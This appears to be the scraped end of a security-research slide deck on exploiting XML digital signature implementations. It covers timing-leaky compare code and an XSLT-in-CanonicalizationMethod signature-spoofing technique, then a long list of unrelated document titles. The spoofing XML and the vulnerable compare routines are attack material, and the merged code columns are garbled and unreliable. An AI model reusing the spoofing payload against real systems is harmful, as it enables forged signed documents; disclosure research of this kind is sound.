112 DoS Only bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;
113 Non-Constant Time Compare bool comparebits(const unsigned char* b64str, const unsigned char* raw, unsigned int maxbytes, unsigned int maxbits) { unsigned int i, j; for (i = 0; i < maxbytes; ++ i) { if (raw[i]!= outputstr[i]) return false; char mask = 0x01; for (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return false; mask = mask << 1; return true;
114 Non-Constant Time Compare bool comparebits(const unsigned char* b64str, const unsigned char* raw, // Mono unsigned int maxbytes, bool Compare (byte[] expected, byte[] actual) { unsigned int maxbits) { for (int i=0; i < l; i++) { if (expected[i]!= actual[i]) unsigned int i, j; return false; for (i = 0; i < maxbytes; ++ i) { if (raw[i]!= outputstr[i]) return true; return false; char mask = 0x01; for (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return false; mask = mask << 1; return true;
115 Non-Constant Time Compare bool comparebits(const unsigned char* b64str, const unsigned char* raw, // Mono unsigned int maxbytes, bool Compare (byte[] expected, byte[] actual) { unsigned int maxbits) { for (int i=0; i < l; i++) { if (expected[i]!= actual[i]) //.NET unsigned int i, j; return false; bool CheckSignedInfo(KeyedHashAlgorithm for (i = 0; i < maxbytes; ++ i) { macalg) { for (int if i (raw[i]!= outputstr[i]) return = 0; i true; < this.m_signature.signaturevalue.length; i++) { return false; if (m_signature.signaturevalue[i]!= actualhashvalue[i]) { char return mask false; = 0x01; for (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return true; return false; mask = mask << 1; return true;
116 Non-Constant Time Compare bool comparebits(const unsigned char* b64str, const unsigned char* raw, // Mono unsigned int maxbytes, bool Compare (byte[] expected, byte[] actual) { unsigned int maxbits) { for (int i=0; i < l; i++) { if (expected[i]!= actual[i]) //.NET unsigned int i, j; return false; bool CheckSignedInfo(KeyedHashAlgorithm for (i = 0; i < maxbytes; ++ i) { macalg) { for (int if i (raw[i]!= outputstr[i]) return = 0; i true; < this.m_signature.signaturevalue.length; i++) { return false; // XMLSEC1 if if((datasize (m_signature.signaturevalue[i] > 1) && (memcmp(ctx->dgst,!= actualhashvalue[i]) data, datasize - 1)!= 0)) { char { return mask = 0x01; for (j transform->status false; = 0 ; j < maxbits; = xmlsectransformstatusfail; ++i) { if ((raw[i] return(0); & mask)!= (outputstr[i] & mask)) return true; return false; mask = mask << 1; transform->status = xmlsectransformstatusok; return return(0); true;
117 Back to the original story...
118 CVE /CVE /CVE Signature Spoofing through Canonicalization Algorithm Identifier Affected.NET, Apache Java and JRE Doesn't work in Mono, due to an "Incompatible Implementation"
119 SignedInfo Element <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo>
120 SignedInfo Element <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo>
121 SignedInfo Element <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo>
122 Algorithm Identifiers Name Type URI Required? SHA1 Digest Yes Base64 Encoding Yes HMAC/SHA1 Signature Yes DSA/SHA1 Signature Yes RSA/SHA1 Signature No C14N 1.0 C14N C14N 1.1 C14N Yes Envelope Transform XPath Transform No XSLT Transform No Yes Yes
123 Extensible? "This specification defines a set of algorithms, their URIs, and requirements for implementation. Requirements are specified over implementation, not over requirements for signature use. Furthermore, the mechanism is extensible; alternative algorithms may be used by signature applications."
124 Creating.NET Canonicalizer class SignedInfo { public string CanonicalizationMethod { get; public Transform CanonicalizationMethodObject { get { return (Transform)CryptoConfig.CreateFromName(this.CanonicalizationMethod);
125 Creating.NET Canonicalizer class SignedInfo { public string CanonicalizationMethod { get; public Transform CanonicalizationMethodObject { get { return (Transform)CryptoConfig.CreateFromName(this.CanonicalizationMethod);
126 CryptoConfig?
127 CryptoConfig?
128 Derived from Transform
129 Derived from Transform
130 Derived from Transform
131 Derived from Transform
132 Derived from Transform
133 Derived from Transform
134 Exploiting It <good/> Good Signed XML Document Extract <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI="#id"> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5... </DigestValue> </Reference> </SignedInfo> Canonicalize To XSLT <bad/> Modify Document <xsl:stylesheet version="1.0"> <xsl:output method="text" /> <xsl:template match="/"> <xsl:text disable-output-escaping="yes"> <SignedInfo xmlns=" </xsl:template> </xsl:stylesheet> Bad Signed XML Document
135 Final XML <SignedInfo> <CanonicalizationMethod Algorithm=" <xsl:stylesheet version="1.0" xmlns:xsl=" <xsl:output method="text" /> <xsl:template match="/"> <xsl:text disable-output-escaping="yes"> <SignedInfo xmlns=" </xsl:text> </xsl:template> </xsl:stylesheet> </CanonicalizationMethod> <SignatureMethod Algorithm=" /> </SignedInfo>
136 Exploiting It <bad/> Bad Signed XML Document Extract <xsl:stylesheet>... </xsl:stylesheet> XSL <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI="#id"> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5... </DigestValue> </Reference> </SignedInfo> C14N Verify Signature
137 Demo Time!
138 And the Rest Invalid Parsing of Signatures Blended Threat between parsers Other DoS stuff in.net and WCF Many Lucky "bugs" in Mono
139 Final Score Sheet Implementation Parsing Issues Memory Corruption Signature Spoofing Denial of Service File Stealing Apache C++ Yes Yes Yes Yes Yes, hilariously! Apache Java/JRE Yes No Yes Yes Sort of, limited use XMLSEC1 No No Yes, Kind of Yes if libxml2 isn't fixed.net No No Yes Yes Yes No Mono Lucky Escape No Yes, should have been worse Yes I gave up even trying
140 Conclusions Don't Blindly Trust Your Implementation Double Check All References are as expected Double Check All Algorithms are as expected Probably stay away from Apache C++ and Mono
141 Questions?
Exploiting XML Digital Signature Implementations
White paper Exploiting XML Digital Signature Implementations Hack In The Box - Kuala Lumpur 2013 James Forshaw [email protected] October 2013 Contents Introduction 4 Implementations Researched
Exchanger XML Editor - Canonicalization and XML Digital Signatures
Exchanger XML Editor - Canonicalization and XML Digital Signatures Copyright 2005 Cladonia Ltd Table of Contents XML Canonicalization... 2 Inclusive Canonicalization... 2 Inclusive Canonicalization Example...
BERserk Vulnerability
Intel Security: Advanced Threat Research BERserk Vulnerability Part 2: Certificate Forgery in Mozilla NSS October 6, 2014 Contents DigestInfo ASN.1 Decoding Vulnerabilities in Mozilla NSS... 2 Forging
Pre-authentication XXE vulnerability in the Services Drupal module
Pre-authentication XXE vulnerability in the Services Drupal module Security advisory 24/04/2015 Renaud Dubourguais www.synacktiv.com 14 rue Mademoiselle 75015 Paris 1. Vulnerability description 1.1. The
High Performance XML Data Retrieval
High Performance XML Data Retrieval Mark V. Scardina Jinyu Wang Group Product Manager & XML Evangelist Oracle Corporation Senior Product Manager Oracle Corporation Agenda Why XPath for Data Retrieval?
Concrete uses of XML in software development and data analysis.
Concrete uses of XML in software development and data analysis. S. Patton LBNL, Berkeley, CA 94720, USA XML is now becoming an industry standard for data description and exchange. Despite this there are
Multiple electronic signatures on multiple documents
Multiple electronic signatures on multiple documents Antonio Lioy and Gianluca Ramunno Politecnico di Torino Dip. di Automatica e Informatica Torino (Italy) e-mail: [email protected], [email protected] web
Blackbox Reversing of XSS Filters
Blackbox Reversing of XSS Filters Alexander Sotirov [email protected] Introduction Web applications are the future Reversing web apps blackbox reversing very different environment and tools Cross-site scripting
Threat Advisory: Atlassian Crowd (CVE 2013 3925)
Threat Advisory: Atlassian Crowd (CVE 2013 3925) Command Five Pty Ltd June 2013 ABSTRACT This advisory examines a critical vulnerability in Atlassian Crowd a software package marketed as a turnkey solution
Chapter 6 Electronic Mail Security
Cryptography and Network Security Chapter 6 Electronic Mail Security Lectured by Nguyễn Đức Thái Outline Pretty Good Privacy S/MIME 2 Electronic Mail Security In virtually all distributed environments,
Binary storage of graphs and related data
EÖTVÖS LORÁND UNIVERSITY Faculty of Informatics Department of Algorithms and their Applications Binary storage of graphs and related data BSc thesis Author: Frantisek Csajka full-time student Informatics
OPENID AUTHENTICATION SECURITY
OPENID AUTHENTICATION SECURITY Erik Lagercrantz and Patrik Sternudd Uppsala, May 17 2009 1 ABSTRACT This documents gives an introduction to OpenID, which is a system for centralised online authentication.
Securing ios Applications. Dr. Bruce Sams, OPTIMAbit GmbH
Securing ios Applications Dr. Bruce Sams, OPTIMAbit GmbH About Me President of OPTIMAbit GmbH Responsible for > 200 Pentests per Year Ca 50 ios Pentests and code reviews in the last two years. Overview
Network Security. Chapter 10. Application Layer Security: Web Services. Part I: Introduction to Web Services
Network Architectures and Services, Georg Carle Faculty of Informatics Technische Universität München, Germany Part I: Introduction to Web Services Network Security Chapter 10 Application Layer Security:
Message Containers and API Framework
Message Containers and API Framework Notices Copyright 2009-2010 Motion Picture Laboratories, Inc. This work is licensed under the Creative Commons Attribution-No Derivative Works 3.0 United States License.
Sandy. The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis. Garage4Hackers
Sandy The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis About Me! I work as a Researcher for a Global Threat Research firm.! Spoke at the few security
Representation of E-documents in AIDA Project
Representation of E-documents in AIDA Project Diana Berbecaru Marius Marian Dip. di Automatica e Informatica Politecnico di Torino Corso Duca degli Abruzzi 24, 10129 Torino, Italy Abstract Initially developed
10CS73:Web Programming
10CS73:Web Programming Question Bank Fundamentals of Web: 1.What is WWW? 2. What are domain names? Explain domain name conversion with diagram 3.What are the difference between web browser and web server
Network Security Essentials Chapter 7
Network Security Essentials Chapter 7 Fourth Edition by William Stallings Lecture slides by Lawrie Brown Chapter 7 Electronic Mail Security Despite the refusal of VADM Poindexter and LtCol North to appear,
Still Aren't Doing. Frank Kim
Ten Things Web Developers Still Aren't Doing Frank Kim Think Security Consulting Background Frank Kim Consultant, Think Security Consulting Security in the SDLC SANS Author & Instructor DEV541 Secure Coding
Improving performance for security enabled web services. - Dr. Colm Ó héigeartaigh
Improving performance for security enabled web services - Dr. Colm Ó héigeartaigh Agenda Introduction to Apache CXF WS-Security in CXF 3.0.0 Securing Attachments in CXF 3.0.0 RS-Security in CXF 3.0.0 Some
Java and XML parsing. EH2745 Lecture #8 Spring 2015. [email protected]
Java and XML parsing EH2745 Lecture #8 Spring 2015 [email protected] Lecture Outline Quick Review The XML language Parsing Files in Java Quick Review We have in the first set of Lectures covered the basics
Core Feature Comparison between. XML / SOA Gateways. and. Web Application Firewalls. Jason Macy [email protected] CTO, Forum Systems
Core Feature Comparison between XML / SOA Gateways and Web Application Firewalls Jason Macy [email protected] CTO, Forum Systems XML Gateway vs Competitive XML Gateways or Complementary? and s are Complementary
Schematron Validation and Guidance
Schematron Validation and Guidance Schematron Validation and Guidance Version: 1.0 Revision Date: July, 18, 2007 Prepared for: NTG Prepared by: Yunhao Zhang i Schematron Validation and Guidance SCHEMATRON
CICS Web Service Security. Anthony Papageorgiou IBM CICS Development March 13, 2012 Session: 10282
Web Service Security Anthony Papageorgiou IBM Development March 13, 2012 Session: 10282 Agenda Web Service Support Overview Security Basics and Terminology Pipeline Security Overview Identity Encryption
CS 2112 Spring 2014. 0 Instructions. Assignment 3 Data Structures and Web Filtering. 0.1 Grading. 0.2 Partners. 0.3 Restrictions
CS 2112 Spring 2014 Assignment 3 Data Structures and Web Filtering Due: March 4, 2014 11:59 PM Implementing spam blacklists and web filters requires matching candidate domain names and URLs very rapidly
02267: Software Development of Web Services
02267: Software Development of Web Services Week 11 Hubert Baumeister [email protected] Department of Applied Mathematics and Computer Science Technical University of Denmark Fall 2015 1 Contents WS-Policy Web
Qualtrics Single Sign-On Specification
Qualtrics Single Sign-On Specification Version: 2010-06-25 Contents Introduction... 2 Implementation Considerations... 2 Qualtrics has never been used by the organization... 2 Qualtrics has been used by
Managing XML Documents Versions and Upgrades with XSLT
Managing XML Documents Versions and Upgrades with XSLT Vadim Zaliva, [email protected] 2001 Abstract This paper describes mechanism for versioning and upgrding XML configuration files used in FWBuilder
Web Application Hacking (Penetration Testing) 5-day Hands-On Course
Web Application Hacking (Penetration Testing) 5-day Hands-On Course Web Application Hacking (Penetration Testing) 5-day Hands-On Course Course Description Our web sites are under attack on a daily basis
XML Digital Signature Implementation Guide
XML Digital Signature Implementation Guide Document Status FINAL Document Date February 11, 2014 Editors Contributors Abdias Lira, Wolters Kluwer Financial Services [email protected] Mark Kleingers,
Stacks. Linear data structures
Stacks Linear data structures Collection of components that can be arranged as a straight line Data structure grows or shrinks as we add or remove objects ADTs provide an abstract layer for various operations
Digital Signing Specification
Digital Signing Specification Product: EVM-CR Feature: Digital File Signatures Support to: Defense Cost and Resource Center Contract No: W91WAW-08-D-0031/0008 Tecolote Research, Inc. Date: 07/08/2013 Document
Cryptography and Network Security Chapter 15
Cryptography and Network Security Chapter 15 Fourth Edition by William Stallings Lecture slides by Lawrie Brown Chapter 15 Electronic Mail Security Despite the refusal of VADM Poindexter and LtCol North
Web Application Security
E-SPIN PROFESSIONAL BOOK Vulnerability Management Web Application Security ALL THE PRACTICAL KNOW HOW AND HOW TO RELATED TO THE SUBJECT MATTERS. COMBATING THE WEB VULNERABILITY THREAT Editor s Summary
PHP Magic Tricks: Type Juggling. PHP Magic Tricks: Type Juggling
Who Am I Chris Smith (@chrismsnz) Previously: Polyglot Developer - Python, PHP, Go + more Linux Sysadmin Currently: Pentester, Consultant at Insomnia Security Little bit of research Insomnia Security Group
Secure Envelope specification
Secure Envelope specification for Corporate Access File Transfer 2/13/2015 Version 1.0.3 This document defines how a file (e.g. a payment file) which will be sent to the bank is digitally signed by the
WEB SERVICES VULNERABILITIES
WEB SERVICES VULNERABILITIES A white paper outlining the application-level threats to web services Prepared By: Date: February 15, 2007 Nishchal Bhalla Sahba Kazerooni Abstract Security has become the
Bugzilla ID: Bugzilla Summary:
Bugzilla ID: Bugzilla Summary: CAs wishing to have their certificates included in Mozilla products must 1) Comply with the requirements of the Mozilla CA certificate policy (http://www.mozilla.org/projects/security/certs/policy/)
Web Services Trust and XML Security Standards
Web Services Trust and XML Security Standards Date: April 9, 2001 Version: 1.0 Copyright 2001-2003 Entrust. All rights reserved. Entrust is a registered trademark of Entrust, Inc. in the United States
Compass Security. [The ICT-Security Experts] SAML 2.0 [Beer Talk Berlin 2/16/2016] Stephan Sekula
Compass Security [The ICT-Security Experts] SAML 2.0 [Beer Talk Berlin 2/16/2016] Stephan Sekula Compass Security Deutschland GmbH Tauentzienstr. 18 De-10789 Berlin Tel. +49 30 21 00 253-0 Fax +49 30 21
What should a hacker know about WebDav? Vulnerabilities in various WebDav implementations
What should a hacker know about WebDav? Vulnerabilities in various WebDav implementations Mikhail Egorov Short BIO Mikhail Egorov Application Security Engineer at Odin [ http://www.odin.com ] Security
UIL Computer Science for Dummies by Jake Warren and works from Mr. Fleming
UIL Computer Science for Dummies by Jake Warren and works from Mr. Fleming 1 2 Foreword First of all, this book isn t really for dummies. I wrote it for myself and other kids who are on the team. Everything
Transparent Monitoring of a Process Self in a Virtual Environment
Transparent Monitoring of a Process Self in a Virtual Environment PhD Lunchtime Seminar Università di Pisa 24 Giugno 2008 Outline Background Process Self Attacks Against the Self Dynamic and Static Analysis
HireDesk API V1.0 Developer s Guide
HireDesk API V1.0 Developer s Guide Revision 1.4 Talent Technology Corporation Page 1 Audience This document is intended for anyone who wants to understand, and use the Hiredesk API. If you just want to
18-731 Midterm. Name: Andrew user id:
18-731 Midterm 6 March 2008 Name: Andrew user id: Scores: Problem 0 (10 points): Problem 1 (10 points): Problem 2 (15 points): Problem 3 (10 points): Problem 4 (20 points): Problem 5 (10 points): Problem
Internet Banking Two-Factor Authentication using Smartphones
Internet Banking Two-Factor Authentication using Smartphones Costin Andrei SOARE IT&C Security Master Department of Economic Informatics and Cybernetics Bucharest University of Economic Studies, Romania
Web Application Report
Web Application Report This report includes important security information about your Web Application. Security Report This report was created by IBM Rational AppScan 8.5.0.1 11/14/2012 8:52:13 AM 11/14/2012
Automating SQL Injection Exploits
Automating SQL Injection Exploits Mike Shema IT Underground, Berlin 2006 Overview SQL injection vulnerabilities are pretty easy to detect. The true impact of a vulnerability is measured
PGP from: Cryptography and Network Security
PGP from: Cryptography and Network Security Fifth Edition by William Stallings Lecture slides by Lawrie Brown (*) (*) adjusted by Fabrizio d'amore Electronic Mail Security Despite the refusal of VADM Poindexter
Electronic Bank Account Management - EBAM
Electronic Bank Account Management - EBAM EBAM and Digital Signature This guide provides an overview of how to use a digital signature in the EBAM solution to sign the XML messages and the potential attachments.
Secure Authentication and Session. State Management for Web Services
Lehman 0 Secure Authentication and Session State Management for Web Services Clay Lehman CSC 499: Honors Thesis Supervised by: Dr. R. Michael Young Lehman 1 1. Introduction Web services are a relatively
EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.
CENTER FOR ADVANCED SECURITY TRAINING 619 Advanced SQLi Attacks and Countermeasures Make The Difference About Center of Advanced Security Training () The rapidly evolving information security landscape
MONETA.Assistant API Reference
MONETA.Assistant API Reference Contents 2 Contents Abstract...3 Chapter 1: MONETA.Assistant Overview...4 Payment Processing Flow...4 Chapter 2: Quick Start... 6 Sandbox Overview... 6 Registering Demo Accounts...
XML: extensible Markup Language. Anabel Fraga
XML: extensible Markup Language Anabel Fraga Table of Contents Historic Introduction XML vs. HTML XML Characteristics HTML Document XML Document XML General Rules Well Formed and Valid Documents Elements
Electronic Mail Security. Email Security. email is one of the most widely used and regarded network services currently message contents are not secure
Electronic Mail Security CSCI 454/554 Email Security email is one of the most widely used and regarded network services currently message contents are not secure may be inspected either in transit or by
First Java Programs. V. Paúl Pauca. CSC 111D Fall, 2015. Department of Computer Science Wake Forest University. Introduction to Computer Science
First Java Programs V. Paúl Pauca Department of Computer Science Wake Forest University CSC 111D Fall, 2015 Hello World revisited / 8/23/15 The f i r s t o b l i g a t o r y Java program @author Paul Pauca
Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert [email protected]
Application Security Testing Erez Metula (CISSP), Founder Application Security Expert [email protected] Agenda The most common security vulnerabilities you should test for Understanding the problems
Variable Base Interface
Chapter 6 Variable Base Interface 6.1 Introduction Finite element codes has been changed a lot during the evolution of the Finite Element Method, In its early times, finite element applications were developed
Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations OWASP. The OWASP Foundation. Marco Morana & Scott Nusbaum
Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations Marco Morana & Scott Nusbaum Cincinnati Chapter September 08 Meeting Copyright 2008 The Foundation Permission is granted to copy,
Identifying and Exploiting Padding Oracles. Brian Holyfield Gotham Digital Science
Identifying and Exploiting Padding Oracles Brian Holyfield Gotham Digital Science Session ID: ASEC-403 Session Classification: Intermediate What is a Padding Oracle? We re a SQL Server Shop, we don t use
CST6445: Web Services Development with Java and XML Lesson 1 Introduction To Web Services 1995 2008 Skilltop Technology Limited. All rights reserved.
CST6445: Web Services Development with Java and XML Lesson 1 Introduction To Web Services 1995 2008 Skilltop Technology Limited. All rights reserved. Opening Night Course Overview Perspective Business
Part 5 DNS Security. SAST01 An Introduction to Information Security 2015-09-21. Martin Hell Department of Electrical and Information Technology
SAST01 An Introduction to Information Security Part 5 DNS Security Martin Hell Department of Electrical and Information Technology How DNS works Amplification attacks Cache poisoning attacks DNSSEC 1 2
by LindaMay Patterson PartnerWorld for Developers, AS/400 January 2000
Home Products Consulting Industries News About IBM by LindaMay Patterson PartnerWorld for Developers, AS/400 January 2000 Copyright IBM Corporation, 1999. All Rights Reserved. All trademarks or registered
Practice Questions. CS161 Computer Security, Fall 2008
Practice Questions CS161 Computer Security, Fall 2008 Name Email address Score % / 100 % Please do not forget to fill up your name, email in the box in the midterm exam you can skip this here. These practice
OOo Digital Signatures. Malte Timmermann Technical Architect Sun Microsystems GmbH
OOo Digital Signatures Malte Timmermann Technical Architect Sun Microsystems GmbH About the Speaker Technical Architect in OpenOffice.org/StarOffice development OOo/StarOffice developer since 1991/94 Main
Java Interview Questions and Answers
1. What is the most important feature of Java? Java is a platform independent language. 2. What do you mean by platform independence? Platform independence means that we can write and compile the java
CONTRACT MODEL IPONZ DESIGN SERVICE VERSION 2. Author: Foster Moore Date: 20 September 2011 Document Version: 1.7
CONTRACT MODEL IPONZ DESIGN SERVICE VERSION 2 Author: Foster Moore Date: 20 September 2011 Document Version: 1.7 Level 6, Durham House, 22 Durham Street West PO Box 106857, Auckland City Post Shop, Auckland
Standard Recommended Practice extensible Markup Language (XML) for the Interchange of Document Images and Related Metadata
Standard for Information and Image Management Standard Recommended Practice extensible Markup Language (XML) for the Interchange of Document Images and Related Metadata Association for Information and
REDUCING THE COST OF GROUND SYSTEM DEVELOPMENT AND MISSION OPERATIONS USING AUTOMATED XML TECHNOLOGIES. Jesse Wright Jet Propulsion Laboratory,
REDUCING THE COST OF GROUND SYSTEM DEVELOPMENT AND MISSION OPERATIONS USING AUTOMATED XML TECHNOLOGIES Colette Wilklow MS 301-240, Pasadena, CA phone + 1 818 354-4674 fax + 1 818 393-4100 email: [email protected]
JVA-122. Secure Java Web Development
JVA-122. Secure Java Web Development Version 7.0 This comprehensive course shows experienced developers of Java EE applications how to secure those applications and to apply best practices with regard
Package PKI. July 28, 2015
Version 0.1-3 Package PKI July 28, 2015 Title Public Key Infrastucture for R Based on the X.509 Standard Author Maintainer Depends R (>= 2.9.0),
Introduction to XML Applications
EMC White Paper Introduction to XML Applications Umair Nauman Abstract: This document provides an overview of XML Applications. This is not a comprehensive guide to XML Applications and is intended for
Computer Security - Tutorial Sheet 3: Network & Programming Security
Computer Security - Tutorial Sheet 3: Network & Programming Security School of Informatics 27th February 2014 This is the third problem sheet for the Computer Security course, covering topics in network
Managing large sound databases using Mpeg7
Max Jacob 1 1 Institut de Recherche et Coordination Acoustique/Musique (IRCAM), place Igor Stravinsky 1, 75003, Paris, France Correspondence should be addressed to Max Jacob ([email protected]) ABSTRACT
Review and Exploit Neglected Attack Surface in ios 8. Tielei Wang, Hao Xu, Xiaobo Chen of TEAM PANGU
Review and Exploit Neglected Attack Surface in ios 8 Tielei Wang, Hao Xu, Xiaobo Chen of TEAM PANGU BlackHat 2015 Agenda ios Security Background Review of Attack Surfaces Fuzz More IOKit and MIG System
Security in Android apps
Security in Android apps Falco Peijnenburg (3749002) August 16, 2013 Abstract Apps can be released on the Google Play store through the Google Developer Console. The Google Play store only allows apps
Partitioning under the hood in MySQL 5.5
Partitioning under the hood in MySQL 5.5 Mattias Jonsson, Partitioning developer Mikael Ronström, Partitioning author Who are we? Mikael is a founder of the technology behind NDB
Java Security Web Services Security (Overview) Lecture 9
Java Security Web Services Security (Overview) Lecture 9 Java 2 Cryptography Java provides API + SPI for crypto functions Java Cryptography Architecture Security related core classes Access control and
Intrusion detection for web applications
Intrusion detection for web applications Intrusion detection for web applications Łukasz Pilorz Application Security Team, Allegro.pl Reasons for using IDS solutions known weaknesses and vulnerabilities
Digital Signature with Hashing and XML Signature Patterns
Digital Signature with Hashing and XML Signature Patterns Keiko Hashizume, Eduardo B. Fernandez, and Shihong Huang Dept. of Computer Science and Engineering, Florida Atlantic University Boca Raton, FL
On Breaking SAML: Be Whoever You Want to Be OWASP 7.11.2012. The OWASP Foundation http://www.owasp.org. Juraj Somorovsky and Christian Mainka
On Breaking SAML: Be Whoever You Want to Be Juraj Somorovsky and Christian Mainka 7.11.2012 Horst-Görtz Institute for IT-Security Ruhr-University Bochum Copyright The Foundation Permission is granted to
Web Services Technologies
Web Services Technologies XML and SOAP WSDL and UDDI Version 16 1 Web Services Technologies WSTech-2 A collection of XML technology standards that work together to provide Web Services capabilities We
DEVELOPING CONTRACT - DRIVEN WEB SERVICES USING JDEVELOPER. The purpose of this tutorial is to develop a java web service using a top-down approach.
DEVELOPING CONTRACT - DRIVEN WEB SERVICES USING JDEVELOPER Purpose: The purpose of this tutorial is to develop a java web service using a top-down approach. Topics: This tutorial covers the following topics:
Web Services Security SOAP Messages with Attachments (SwA) Profile 1.1
1 2 3 4 Web Services Security SOAP Messages with Attachments (SwA) Profile 1.1 OASIS Standard, 1 February 2006 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Document identifier:
On Breaking SAML: Be Whoever You Want to Be
On Breaking SAML: Be Whoever You Want to Be Juraj Somorovsky 1, Andreas Mayer 2, Jörg Schwenk 1, Marco Kampmann 1, and Meiko Jensen 1 1 Horst-Görtz Institute for IT-Security, Ruhr-University Bochum 2 Adolf
AP Computer Science Java Subset
APPENDIX A AP Computer Science Java Subset The AP Java subset is intended to outline the features of Java that may appear on the AP Computer Science A Exam. The AP Java subset is NOT intended as an overall
Phys4051: C Lecture 2 & 3. Comment Statements. C Data Types. Functions (Review) Comment Statements Variables & Operators Branching Instructions
Phys4051: C Lecture 2 & 3 Functions (Review) Comment Statements Variables & Operators Branching Instructions Comment Statements! Method 1: /* */! Method 2: // /* Single Line */ //Single Line /* This comment
For the next three questions, consider the class declaration: Member function implementations put inline to save space.
Instructions: This homework assignment focuses on basic facts regarding classes in C++. Submit your answers via the Curator System as OQ4. For the next three questions, consider the class declaration:
Chapter 8. Network Security
Chapter 8 Network Security Cryptography Introduction to Cryptography Substitution Ciphers Transposition Ciphers One-Time Pads Two Fundamental Cryptographic Principles Need for Security Some people who
EMET 4.0 PKI MITIGATION. Neil Sikka DefCon 21
EMET 4.0 PKI MITIGATION Neil Sikka DefCon 21 ABOUT ME Security Engineer on MSRC (Microsoft Security Response Center) I look at 0Days EMET Developer I enjoy doing security research on my free time too:
Package PKI. February 20, 2013
Package PKI February 20, 2013 Version 0.1-1 Title Public Key Infrastucture for R based on the X.509 standard Author Maintainer Depends R (>=
